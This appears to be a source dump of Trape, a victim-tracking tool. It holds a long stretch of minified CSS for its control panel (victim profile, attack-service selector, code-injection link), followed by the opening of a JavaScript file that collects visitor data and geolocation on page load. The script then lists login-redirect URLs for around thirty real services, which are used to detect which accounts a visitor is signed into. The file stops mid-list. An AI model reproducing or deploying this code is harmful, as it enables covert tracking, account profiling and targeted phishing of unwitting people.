#0089be}.TrapeControl-PreviewProfileWhoIsItBox--Avatar---badge.withFacebook:after,.TrapeControl-PreviewProfileWhoIsItBox--Avatar---badge:after,.TrapeControl-PreviewSummary--info---FacebookStatus----BoxNetwork.withFacebook:after{font-family:boxicons;content:"\f09a";position:absolute;font-size:14px}.TrapeControl-PreviewProfileWhoIsItBox--Avatar---badge.withTwitter:after{font-family:boxicons;content:"\f099";position:absolute;font-size:14px}.TrapeControl-PreviewProfileWhoIsItBox--info---Name{font-family:Ubuntu,sans-serif;margin-top:10px;font-size:21px;color:#292f33;margin-bottom:10px}.TrapeControl-PreviewProfileWhoIsItBox--info---LinkAccount,.TrapeControl-PreviewSummary--info---NavigationMode{padding:2px 8px;margin:0 auto;border:1px solid #f0ebf3;border-radius:3px;font-family:Ubuntu,sans-serif;font-weight:400;display:inline-block;background-color:#FBFCFF}.TrapeControl-PreviewSummary--info---NavigationMode{display:block;border-radius:0;margin-top:-20px;background:0 0;border:none;margin-bottom:20px;text-align:left}.TrapeControl-PreviewProfileWhoIsItBox--info---LinkAccount----link,.TrapeControl-PreviewSummary--info---NavigationMode----text{color:#b3b0b8;text-decoration:none;font-size:13px}.TrapeControl-PreviewSummary--info---NavigationMode----text{text-transform:uppercase;font-size:10px;letter-spacing:.5px}.TrapeControl-PreviewSummary--info---NavigationMode----IncognitoTrue{color:#000}.TrapeControl-PreviewSummary--info---NavigationMode----DNTTrue,.TrapeControl-PreviewSummary--info---NavigationMode----IncognitoFalse{color:#49b882}.TrapeControl-PreviewSummary--info---NavigationMode----DNTFalse{color:#ED5565}.TrapeControl-PreviewProfileWhoIsItBox--info---LinkAccount----link:hover{color:#198ae7}.TrapeControl-PreviewProfileWhoIsItBox--info---LinkAccount----link:active{color:#0064b7;text-decoration:underline}.TrapeControl-PreviewProfileWhoIsItBox--info---ConnectionStatus,.TrapeControl-PreviewProfileWhoIsItBox--info---TypeVictim{color:#b3b0b8;display:block;font-size:13px;margin-top:14px}.TrapeControl-PreviewProfileWhoIsItBox--info---TypeVictim{font-size:11px;text-align:center;display:block;margin-top:-3px}.TrapeControl-PreviewProfileWhoIsItBox--info---TypeVictim----Behavior{background-color:#000;padding:2px 6px;border-radius:4px;color:#fff;font-weight:500;display:inline-block;text-transform:uppercase;font-size:10px}.TrapeControl-PreviewProfileWhoIsItBox--info---LinkAccount----Icon,.TrapeControl-PreviewSummary--info---NavigationMode----Icon{color:#b3b0b8;font-size:13px;border-radius:100%;text-align:center;width:23px;height:19px;position:relative;line-height:22px;display:inline-block;vertical-align:middle}.TrapeControl-BoxTab--Form---textareaSpeech{background-color:#fff;border:1px solid #f0ebf3;padding:10px 14px;border-radius:4px;font-size:11px;text-transform:uppercase;width:100%;font-family:ubuntu,sans-serif;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-ms-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;outline:0;resize:none;overflow-y:auto;line-height:10px}.TrapeControl-Preview--box---Sidebar---PlayAttackServices,.TrapeControl-PreviewSummary--info---Sidebar{width:87%;margin:12px auto;position:relative;-webkit-user-select:none;-moz-user-select:-moz-none;-ms-user-select:none;user-select:none}.TrapeControl-PreviewSummary--info---Sidebar{margin-top:12px}.TrapeControl-Preview--box---Sidebar----selectPlayAttack select{-webkit-appearance:none;-moz-appearance:none;-ms-appearance:none;appearance:none;outline:0;box-shadow:none;background-image:none;background-color:#fff;width:100%;height:100%;margin:0;padding:9px 35px 9px 38px;cursor:pointer;font-family:Ubuntu,sans-serif;font-size:11px;font-weight:500;text-transform:uppercase;color:#b3b0b8;border-radius:4px;border:1px solid #f0ebf3}.TrapeControl-Preview--box---Sidebar----selectPlayAttack{position:relative;display:block}.TrapeControl-Preview--box---Sidebar----selectPlayAttack select::-ms-expand,select::-ms-expand{display:none}.TrapeControl-Preview--box---Sidebar----selectPlayAttack::after,.select::after{top:0;right:0;bottom:0;pointer-events:none;text-transform:uppercase;outline:0;color:#b3b0b8;line-height:12px;padding:9px 13px;font-family:boxicons;font-weight:700;content:"\f107";position:absolute;cursor:pointer;font-size:20px}.TrapeControl-Preview--box---Sidebar----selectPlayAttack:hover::after,.select:hover::after{color:#007ee5}.TrapeControl-Preview--box---Sidebar----selectPlayAttack:active:after,.select:active:after{-webkit-transform:rotate(180deg);-moz-transform:rotate(180deg);-ms-transform:rotate(180deg);-o-transform:rotate(180deg);transform:rotate(180deg)}.TrapeControl-Preview--box---Sidebar----selectPlayAttack-----icon{position:absolute;text-align:center;color:#b3b0b8;border-right:1px solid #f0ebf3;font-weight:500;font-size:16px!important;line-height:16px!important;margin-top:8px;margin-left:0;padding-left:1px;width:2em;z-index:8}.TrapeControl-Preview--box---Sidebar----selectPlayAttack-----icon:before{font-family:boxicons;content:"\f0e7"}#lnkTrapeControl_InjectCode{text-transform:none}.TrapeControl-Preview--dataNetwork{text-align:center;padding:18px 0}.TrapeControl-Preview--dataNetwork---lineSeparation{display:inline-block;vertical-align:middle;width:1px;height:44px;background-color:#f0ebf3;margin:0 24px}.TrapeControl-Preview--dataNetwork---Item{display:inline-block;vertical-align:middle}.TrapeControl-Preview--dataNetwork---Item----text{vertical-align:middle;font-family:Ubuntu,sans-serif;text-transform:uppercase;color:#b3b0b8;font-size:15px;letter-spacing:1px;font-weight:400;margin:0 0 8px}.TrapeControl-Preview--dataNetwork---Item----result{color:#000;font-size:17px;text-transform:uppercase;letter-spacing:1px;font-weight:500;font-family:Ubuntu,sans-serif}.TrapeControl-Preview--dataNetwork---Item----iconPing{color:#b3b0b8}.TrapeControl-Preview--dataNetwork---Item----iconPing:before{font-family:boxicons;content:"\f0ec"}.TrapeControl-Preview--dataNetwork---Item----iconDownloadSpeed{color:#00AB6C}.TrapeControl-Preview--dataNetwork---Item----iconDownloadSpeed:before{font-family:boxicons;content:"\f0ab"}.TrapeControl-Preview--dataNetwork---Item----iconUploadSpeed{color:#f90}.TrapeControl-Preview--dataNetwork---Item----iconUploadSpeed:before{font-family:boxicons;content:"\f0aa"}.TrapeControl-Preview--dataNetwork---Item----iconTypeNetwork{color:#007ee5}.TrapeControl-Preview--dataNetwork---Item----iconTypeNetwork:before{font-family:boxicons;content:"\f0c2"}.TrapeControl-Preview--dataHosts{overflow-y:auto;overflow-x:hidden;height:86px;width:438px}.TrapeControl-Preview--dataHosts---host{display:inline-block;font-family:Ubuntu,sans-serif;font-weight:400;padding-right:10px;font-size:12px;line-height:28px;height:27px;color:#b3b0b8;background:#fff;border-radius:0;width:100%;text-align:left;z-index:3;border-left:none;bottom:27px;border-bottom:1px solid #f0ebf3}.TrapeControl-Preview--dataHosts---host----iconBox{float:left;color:#fff;height:18px;width:18px;line-height:17px;margin-right:6px;text-align:center;font-size:13px;font-weight:500;background-color:#007ee5;border:1px solid #0064b7;border-radius:100%;margin-top:5px}.TrapeControl-Preview--dataHosts---host----text{font-family:Ubuntu,sans-serif;font-weight:600;color:#000;vertical-align:text-bottom;font-size:13px}.TrapeControl-Preview--dataHosts---host----line{margin-left:5px;margin-right:5px;border-top:20px solid #f0ebf3;text-align:center;width:1px;display:inline-block;margin-bottom:2px;z-index:3}.TrapeControl-Preview--dataHosts---host----subText{font-size:13px;color:#b3b0b8;font-weight:500}.TrapeControl-Preview--dataHostsElement---Item----result,.TrapeControl-Preview--dataHostsElement---Item----text{font-size:15px;text-transform:uppercase;letter-spacing:1px;font-family:Ubuntu,sans-serif}.TrapeControl-Preview--dataHostsElement---lineSeparation{display:inline-block;vertical-align:middle;width:1px;height:44px;background-color:#f0ebf3;margin:22px 26px 0;float:left}.TrapeControl-Preview--dataHostsElement---Item{display:inline-block;vertical-align:middle;float:left;margin-top:22px}.TrapeControl-Preview--dataHostsElement---Item----text{vertical-align:middle;color:#b3b0b8;font-weight:400;margin:0 0 8px}.TrapeControl-Preview--dataHostsElement---Item----result{color:#000;font-weight:500}.TrapeControl-Preview--dataHostsElement---Item----icon{color:#007ee5}.TrapeControl-Preview--dataHostsElement---Item----icon:before{font-family:boxicons;content:"\f0e8"}.TrapeControl-Preview--dataHostsPositionGeneral{margin:0 auto;width:635px}.TrapeControl-Preview--NotificationAlert{position:fixed;width:518px;height:299px;background-color:rgba(255,255,255,.8);justify-content:center;align-items:center;-webkit-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-moz-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-ms-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-o-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);transition:all .5s cubic-bezier(.59,-.17,.3,1.67);z-index:3;border-radius:6px 0 0}.TrapeControl-Preview--NotificationAlert---define{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:nowrap;flex-wrap:nowrap;width:430px;height:40px;min-height:40px;background:#FFF;border:1px solid #000;position:relative;top:8em;z-index:3;margin-left:auto;margin-right:auto;border-radius:4px;box-shadow:0 0 0 1px rgba(18,24,33,.05),0 0 15px rgba(18,24,33,.2)}.TrapeControl-Preview--NotificationAlert---define----Icon{background:#455870;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;color:#FFF;font-size:1.2em;margin:0;width:42px}.TrapeControl-Preview--NotificationAlert---define----Content{-webkit-box-flex:6;-ms-flex:6;flex:6;padding-left:14px;margin:0;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding-right:14px}.TrapeControl-Preview--NotificationAlert---define----Content p{padding:0;margin:0;font-size:14px}.TrapeControl-Header--menu---btnUpdate----button,.TrapeControl-Header--menu---btnUpdate----counter{font-weight:500;padding:1px 8px;font-family:Ubuntu,sans-serif;line-height:20px;outline:0;text-transform:uppercase}.TrapeControl-Preview--NotificationAlert---offline{border:1px solid #ED5565}.TrapeControl-Preview--NotificationAlert---offline .TrapeControl-Preview--NotificationAlert---define----Icon{background:#ED5565}.TrapeControl-Preview--NotificationAlert---offline .TrapeControl-Preview--NotificationAlert---define----Content{color:#ED5565}.TrapeControl-Preview--NotificationAlert---online{border:1px solid #49b882}.TrapeControl-Preview--NotificationAlert---online .TrapeControl-Preview--NotificationAlert---define----Icon{background:#49b882}.TrapeControl-Preview--NotificationAlert---online .TrapeControl-Preview--NotificationAlert---define----Content{color:#49b882}.TrapeControl-Preview--NotificationAlert---success{border:1px solid #000}.TrapeControl-Preview--NotificationAlert---success .TrapeControl-Preview--NotificationAlert---define----Icon{background:#000}.TrapeControl-Preview--NotificationAlert---success .TrapeControl-Preview--NotificationAlert---define----Content{color:#000}.TrapeControl-Preview--NotificationHide{-webkit-transition:all .5s;-moz-transition:all .5s;-ms-transition:all .5s;-o-transition:all .5s;transition:all .5s;opacity:0;visibility:hidden;-webkit-animation:hideNotification 1s;-moz-animation:hideNotification 1s;-ms-animation:hideNotification 1s;-o-animation:hideNotification 1s;animation:hideNotification 1s}@-webkit-keyframes hideNotification{0%{opacity:1;-webkit-transform:translateX(-20%);transform:translateX(-20%)}100%{opacity:0;-webkit-transform:translateX(100%);transform:translateX(100%)}}@keyframes hideNotification{0%{opacity:1;-webkit-transform:translateX(-20%);transform:translateX(-20%)}100%{opacity:0;-webkit-transform:translateX(100%);transform:translateX(100%)}}.TrapeControl-Header--menu---btnUpdate{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;position:absolute;right:70px;top:26px;margin-right:.6em}.TrapeControl-Header--menu---btnUpdate----counter{background-color:#FBFCFF;border:1px solid #f0ebf3;border-right:0;border-top-left-radius:3px;border-bottom-left-radius:3px;font-size:13px;color:#b3b0b8}.TrapeControl-Header--menu---btnUpdate----counter-----AvailableUpdate{color:#ff5722}.TrapeControl-Header--menu---btnUpdate----button{border-top-right-radius:3px;border-bottom-right-radius:3px;background-color:#ff5722;color:#fff;text-decoration:none;font-size:11px;letter-spacing:.5px;border:1px solid #cc451b;cursor:pointer}.TrapeControl-Header--menu---btnUpdate----button .icon-refresh{opacity:.8}.TrapeControl-Header--menu---btnUpdate----button:hover{border:1px solid #ff5722;background:#ff6738;color:#fff}.TrapeControl-Header--menu---btnUpdate----button:active{background-color:#cc451b;border:1px solid #ff5722;color:#fff}.TrapeControl-UpgradeModal{position:fixed;height:100%;width:100%;top:0;left:0;right:0;bottom:0;opacity:0;background-color:rgba(255,255,255,.8);justify-content:center;align-items:center;pointer-events:none;-webkit-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-moz-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-ms-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-o-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-webkit-transform:translate(0,-50px);-moz-transform:translate(0,-50px);-ms-transform:translate(0,-50px);-o-transform:translate(0,-50px);transform:translate(0,-50px);z-index:-99}.TrapeControl-UpgradeModal.active{pointer-events:auto;opacity:1;-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1);z-index:99}.TrapeControl-UpgradeModal--Box{font-family:Ubuntu,sans-serif;text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-webkit-text-size-adjust:none;-webkit-box-sizing:border-box;box-sizing:border-box;list-style:none;font-weight:400;display:block;padding:0;box-shadow:0 5px 10px 10px rgba(18,24,33,.05),0 5px 15px rgba(18,24,33,.2);border-radius:6px;position:fixed;z-index:9999999;background:#fff;font-size:15px;height:100vh;max-height:475px;min-height:475px;width:640px;margin:100px auto;left:0!important;right:0!important;top:0!important;bottom:0!important}.TrapeControl-UpgradeModal--Box a,.TrapeControl-UpgradeModal--Box img,.TrapeControl-UpgradeModal--Box p,.TrapeControl-UpgradeModal--Box svg{font-family:Ubuntu;text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-webkit-text-size-adjust:none;-webkit-box-sizing:border-box;box-sizing:border-box;list-style:none;font-weight:400;display:block;padding:0;margin:0}.TrapeControl-UpgradeModal--Box---content----Tabs{float:right;margin-top:-15px}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content{position:relative;padding:25px;overflow-y:auto;display:block;height:100%}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content .TrapeControl-UpgradeModal--Box---content----Header{position:relative;display:block;height:32px;width:100%}.TrapeControl-UpgradeModal--Box---content----Tabs .TrapeControl-UpgradeModal--Box---content----Tabs-----btn{border:1px solid #f0ebf3;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;text-decoration:none;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin:0 9px 0 0;border-radius:3px;padding:1px 8px;background-color:#FBFCFF;text-transform:uppercase;cursor:pointer;font-size:11px;font-family:Ubuntu;letter-spacing:.5px;color:#b3b0b8;line-height:20px;outline:0}.TrapeControl-UpgradeModal--Box---content----Tabs .TrapeControl-UpgradeModal--Box---content----Tabs-----btn.is-active,.TrapeControl-UpgradeModal--Box---content----Tabs .TrapeControl-UpgradeModal--Box---content----Tabs-----btn:hover{background-color:#fff}.TrapeControl-UpgradeModal--Box---content----Tabs .TrapeControl-UpgradeModal--Box---content----Tabs-----btn:last-child{margin:0}.TrapeControl-UpgradeModal--Box---content----Tabs .TrapeControl-UpgradeModal--Box---content----Tabs-----btn span{padding:0 0 0 6px;font-weight:500}.TrapeControl-UpgradeModal--Box---content----Tabs-----btnAvailable{color:#ff5722}.TrapeControl-UpgradeModal--Box---content----Tabs-----btnRequested{color:#007ee5}.TrapeControl-UpgradeModal--Box---content----Tabs-----btnPurchased{color:#49b882}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content ul.TrapeControl-UpgradeModal--ListUpdates{padding:0;border-top:1px solid #efefef}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content ul.TrapeControl-UpgradeModal--ListUpdates,.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content ul.TrapeControl-UpgradeModal--ListUpdates>li{text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-webkit-text-size-adjust:none;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:20px;list-style:none;font-weight:400;font-size:13px;margin:0;position:relative}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content ul.TrapeControl-UpgradeModal--ListUpdates>li{padding:11px 11px 11px 0;border-bottom:1px solid #efefef}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----badgePurchased,.TrapeControl-UpgradeModal--ListUpdates---NewVersion----badgeRequest{position:absolute;right:5px;top:22px;border:1px solid #f0ebf3;margin-right:0;border-radius:3px;padding:1px 8px;background-color:#FBFCFF;text-transform:uppercase;font-size:10px;font-family:Ubuntu;letter-spacing:.5px;color:#007ee5;line-height:17px;font-weight:500;outline:0}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----badgePurchased{color:#49b882}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----price{outline:0;background-color:#FFD262;border:1px solid #E4B34F;font-family:Ubuntu,sans-serif;font-size:11px;font-weight:500;text-transform:uppercase;padding:1px 5px;color:#b68f3f;text-decoration:none;border-radius:3px}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----btnRequest{position:absolute;right:5px;top:22px;text-decoration:none;margin:0;border-radius:3px;padding:1px 8px;text-transform:uppercase;cursor:pointer;font-size:10px;font-family:Ubuntu;letter-spacing:.5px;color:#fff;line-height:17px;font-weight:500;border:1px solid #0071ce;background-color:#007ee5;outline:0}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----btnRequest:hover{background-color:#198ae7;border:1px solid #007ee5;color:#fff}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----btnRequest:active{background-color:#0071ce;border:1px solid #0058a0;color:#fff}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content ul.TrapeControl-UpgradeModal--ListUpdates>li .TrapeControl-UpgradeModal--ListUpdates---NewVersion{padding:0 0 12px;color:#b3b0b8}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content ul.TrapeControl-UpgradeModal--ListUpdates>li p{text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-webkit-text-size-adjust:none;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:20px;list-style:none;font-weight:400;font-size:13px;display:block;margin:0;padding:0 0 5px;color:#000}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----number{text-rendering:optimizeLegibility;-webkit-text-size-adjust:none;text-decoration:none;font-weight:600;padding:0 0 1px;color:#000;display:block}.TrapeControl-UpgradeModal--buttonClose{position:absolute;padding:4px 6px!important;font-size:16px!important;line-height:16px!important;text-align:center!important;background-color:#fff;color:#ED5565;top:-10px!important;right:-10px!important;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-ms-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;cursor:pointer;border-radius:100%;border:1px solid #f0ebf3;z-index:999}.TrapeControl-UpgradeModal--buttonClose:hover{background-color:#ED5565;border:1px solid #bd4450;color:#fff}.TrapeControl-UpgradeModal--buttonClose:active{background-color:#d54c5a;border:1px solid #a53b46;color:#fff}.TrapeControl-UpgradeModal---Sidebar----title{border-top:0;text-align:left;margin:14px 0 0}.TrapeControl-UpgradeModal---Sidebar----Iconbox{margin-top:0;font-family:ubuntu,sans-serif;font-weight:500;font-size:11px;color:#b3b0b8;background-color:#fff;border-radius:3px;text-align:center;text-transform:uppercase;line-height:16px;display:inline-block;position:relative;top:-13px;padding-right:0}.TrapeControl-UpgradeModal---Sidebar----Iconbox-----define{float:left;color:#ff5722;height:100%;background-color:#fff;border-radius:3px 0 0 3px!important;padding:1px 0;margin-right:6px}.TrapeControl-UpgradeModal---Sidebar----Iconbox-----text{font-family:Ubuntu,sans-serif;font-weight:500;letter-spacing:.5px;font-size:13px;vertical-align:middle}.TrapeControl-History--Logs---logData----InitialNameLog{margin-right:12px;font-size:10px;width:17px;height:17px;font-weight:500;text-align:center;background:#456183;color:#fff;border-radius:100px;border:2px solid #fff;display:inline-block;line-height:normal;vertical-align:middle;margin-left:-18px;margin-top:26px;position:absolute;padding:1px;z-index:2;left:18px}.TrapeControl-Preview--box---Mapbox----putNameLog{position:absolute;top:0;left:26%;box-shadow:0 3px 6px 0 rgba(0,0,0,.2);border-radius:0 0 6px 6px;text-transform:uppercase;background:#fff;padding:6px;width:251px;text-align:center;font-family:Ubuntu,sans-serif;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;z-index:3}.TrapeControl-Preview--box---Mapbox----putNameLog-----input{outline:0;background-color:#FBFCFF;border:1px solid #f0ebf3;font-family:Ubuntu,sans-serif;font-size:11px;font-weight:500;text-transform:uppercase;color:#b3b0b8;padding:8px 10px;border-right:0;border-top-left-radius:3px;border-bottom-left-radius:3px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;transition:all .1s ease-in-out;width:100%}.TrapeControl-Preview--box---Mapbox----putNameLog-----input:focus,.TrapeControl-Preview--box---Mapbox----putNameLog-----input:hover{background-color:#fff}.TrapeControl-Preview--box---Mapbox----putNameLog-----input::-webkit-input-placeholder{color:#b3b0b8}.TrapeControl-Preview--box---Mapbox----putNameLog-----input::-moz-placeholder{color:#b3b0b8}.TrapeControl-Preview--box---Mapbox----putNameLog-----input:-ms-input-placeholder{color:#b3b0b8}.TrapeControl-Preview--box---Mapbox----putNameLog-----input:-moz-placeholder{color:#b3b0b8}.TrapeControl-Preview--box---Mapbox----putNameLog-----button{border-top-right-radius:3px;border-bottom-right-radius:3px;background-color:#49b882;border:0;border:1px solid #3a9368;outline:0;color:#fff;text-transform:uppercase;line-height:12px;text-decoration:none;font-size:12px;font-weight:600;padding:7px 10px;cursor:pointer}.TrapeControl-Preview--box---Mapbox----putNameLog-----button:hover{background-color:#5bbf8e;border:1px solid #49b882;color:#fff}.TrapeControl-Preview--box---Mapbox----putNameLog-----button:active{background-color:#3a9368;border:1px solid #33805b;color:#fff}.TrapeControl-UpgradeModal--ListUpdates:nth-child(1),.TrapeControl-UpgradeModal--ListUpdates:nth-child(3),.TrapeControl-UpgradeModal--ListUpdates:nth-child(4){display:none}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----content{margin-top:-1px}.TrapeControl-UpgradeModal--ListUpdates---notFound{padding-top:50px!important;padding-bottom:50px!important}.TrapeControl-UpgradeModal--ListUpdates---notFound----text{text-align:center;text-transform:uppercase;font-size:17px;color:#b3b0b8;font-weight:500;letter-spacing:.5px}.TrapeControl-SocialImpact{position:relative;font-size:12px;text-align:left;font-family:Ubuntu,sans-serif;border-bottom:1px solid #f0ebf3;padding:0 4px;background:#fff;display:inline-block;width:810px}.TrapeControl-SocialImpact:nth-child(1){padding:10px 4px}.TrapeControl-SocialImpact--details---summary{margin-left:42px;margin-top:16px}.TrapeControl-SocialImpact:nth-child(1) .TrapeControl-SocialImpact--details---summary{margin-left:50px;margin-top:14px}.TrapeControl-SocialImpact:nth-child(1) .TrapeControl-SocialImpact--Network{width:44px;height:44px;font-size:28px;line-height:45px;margin-top:0}.TrapeControl-SocialImpact--Network{color:#fff;font-size:18px;text-align:center;display:inline-block;width:34px;height:34px;line-height:35px;float:left;border-radius:6px;margin-top:5px}.TrapeControl-SocialImpact--details{display:inline-block}.TrapeControl-SocialImpact--details---summaryNameNetwork{color:#000;font-weight:700;font-size:11px;margin:0;display:block;text-transform:capitalize}.TrapeControl-SocialImpact:nth-child(1) .TrapeControl-SocialImpact--details---summaryNameNetwork{font-size:14px}.TrapeControl-SocialImpact--details---summaryClasification{font-weight:700;position:relative;margin-left:4px;text-transform:uppercase;line-height:0;color:#b3b0b8;display:inline-block}.TrapeControl-SocialImpact--stats{text-align:center;padding:0;float:right}.TrapeControl-SocialImpact--stats---lineSeparation{display:inline-block;vertical-align:middle;width:1px;height:44px;background-color:#f0ebf3;margin:0 22px}.TrapeControl-SocialImpact--stats---Item{display:inline-block;vertical-align:middle}.TrapeControl-SocialImpact--stats---Item:last-child,.TrapeControl-SocialImpact:nth-child(1) .TrapeControl-SocialImpact--stats---Item:last-child{margin-right:20px}.TrapeControl-SocialImpact--stats---Item----text{vertical-align:middle;font-family:Ubuntu,sans-serif;text-transform:uppercase;color:#b3b0b8;font-size:11px;letter-spacing:1px;font-weight:400;margin:0 0 8px;display:none}.TrapeControl-SocialImpact:nth-child(1) .TrapeControl-SocialImpact--stats---Item----text{display:block}.TrapeControl-SocialImpact--stats---Item----result,.TrapeControl-SocialImpact--stats---Item----resultInteractions,.TrapeControl-SocialImpact--stats---Item----resultPorcent{color:#000;font-size:15px;text-transform:uppercase;letter-spacing:1px;font-weight:500;font-family:Ubuntu,sans-serif}.TrapeControl-SocialImpact--stats---Item----resultPorcent{color:#fb3958;font-weight:700}.TrapeControl-SocialImpact--stats---Item----resultInteractions{color:#007ee5} ================================================ FILE: static/js/base.js ================================================ var urlServices = []; var Services = []; var latitude = null, longitude = null; window.serverPath = ''; var socketTrape = null; $(document).ready(function($) { var d = getVictimData(); getGeolocation(); Services = [{ url: "https://www.facebook.com", path: "/login.php?next=http://www.facebook.com/favicon.ico", name: "Facebook", login: "/login.php" }, { url: "https://twitter.com", path: "/login?redirect_after_login=%2Ffavicon.ico", name: "Twitter", login: "/login" }, { url: "https://vk.com", path: "/login?u=2&to=ZmF2aWNvbi5pY28-", name: "Vkontakte", login: "/login" }, { url: "https://www.reddit.com", path: "/login?dest=https%3A%2F%2Fwww.reddit.com%2Ffavicon.ico", name: "Reddit", login: "/login" }, { url: "https://accounts.google.com", path: "/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.google.com%2Ffavicon.ico&uilel=3&hl=en&service=mail", name: "Gmail", login: "/ServiceLogin" }, { url: "https://www.spotify.com", path: "/en/login/?forward_url=https%3A%2F%2Fwww.spotify.com%2Ffavicon.ico", name: "Spotify", login: "/en/login/" }, { url: "https://www.tumblr.com", path: "/login?redirect_to=%2Ffavicon.ico", name: "Tumblr", login: "/login" }, { url: "https://www.dropbox.com", path: "/login?cont=https%3A%2F%2Fwww.dropbox.com%2Fstatic%2Fimages%2Fabout%2Fdropbox_logo_glyph_2015.svg", name: "Dropbox", login: "/login" }, { url: "https://www.amazon.com", path: "/ap/signin/178-4417027-1316064?_encoding=UTF8&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=10000000&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Ffavicon.ico", name: "Amazon", login: "/ap/signin/" }, { url: "https://github.com", path: "/login?return_to=https%3A%2F%2Fgithub.com%2Ffavicon.ico%3Fid%3D1", name: "Github", login: "/login" }, { url: "https://medium.com", path: "/m/signin?redirect=https%3A%2F%2Fmedium.com%2Ffavicon.ico&loginType=default", name: "Medium", login: "/m/signin" }, { url: "https://www.paypal.com", path: "/signin?returnUri=https://t.paypal.com/ts?v=1.0.0", name: "Paypal", login: "/account/signin/" }, { url: "https://bitbucket.org", path: "/account/signin/?next=/favicon.ico", name: "BitBucket", login: "/account/signin/" }, { url: "https://www.instagram.com", path: "/accounts/login/?next=%2Ffavicon.ico", name: "Instagram", login: "/accounts/login/" }, { url: "https://foursquare.com", path: "/login?continue=%2Ffavicon.ico", name: "Foursquare", login: "/login" }, { url: "https://www.airbnb.com", path: "/login?redirect_params[action]=favicon.ico&redirect_params[controller]=home", name: "Airbnb", login: "/login" }, { url: "https://news.ycombinator.com", path: "/login?goto=y18.gif", name: "Hackernews", login: "/login" }, { url: "https://slack.com", path: "/checkcookie?redir=https%3A%2F%2Fslack.com%2Ffavicon.ico%23", name: "Slack", login: "/signin" }, { url: "https://squareup.com", path: "/login?return_to=%2Ffavicon.ico", name: "Square", login: "/login" }, { url: "https://squareup.com", path: "/login?return_to=%2Ffavicon.ico", name: "Square", login: "/login" }, { url: "https://disqus.com", path: "/profile/login/?next=https%3A%2F%2Fdisqus.com%2Ffavicon.ico", name: "Disqus", login: "/profile/login" }, { url: "https://www.meetup.com", path: "/login/?returnUri=https%3A%2F%2Fwww.meetup.com%2Fimg%2Fajax_loader_trans.gif", name: "Meetup", login: "/login" }, { url: "https://www.udemy.com", path: "/join/login-popup/?next=/staticx/udemy/images/v6/favicon.ico", name: "Udemy", login: "/join/login-popup/" }, { url: "https://www.patreon.com", path: "/login?ru=/images/profile_default.png", name: "Patreon", login: "/login" }, { url: "https://accounts.google.com", path: "/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Ffavicon.ico&uilel=3&hl=en&service=youtube", name: "Youtube", login: "/ServiceLogin" }, { url: "https://accounts.snapchat.com", path: "/accounts/login?continue=https://accounts.snapchat.com/accounts/static/images/favicon/favicon.png", name: "Snapchat", login: "/accounts/login" }, { url: "https://www.messenger.com", path: "/login.php?next=http://www.messenger.com/favicon.ico", name: "Messenger", login: "/login.php" }, { url: "https://www.khanacademy.org", path: "/login?continue=/favicon.ico", name: "Khanacademy", login: "/login" }, { url: "https://www.eventbrite.com", path: "/signin/?referrer=https://www.eventbrite.com/favicon.ico", name: "Eventbrite", login: "/signin" }, { url: "https://www.etsy.com", path: 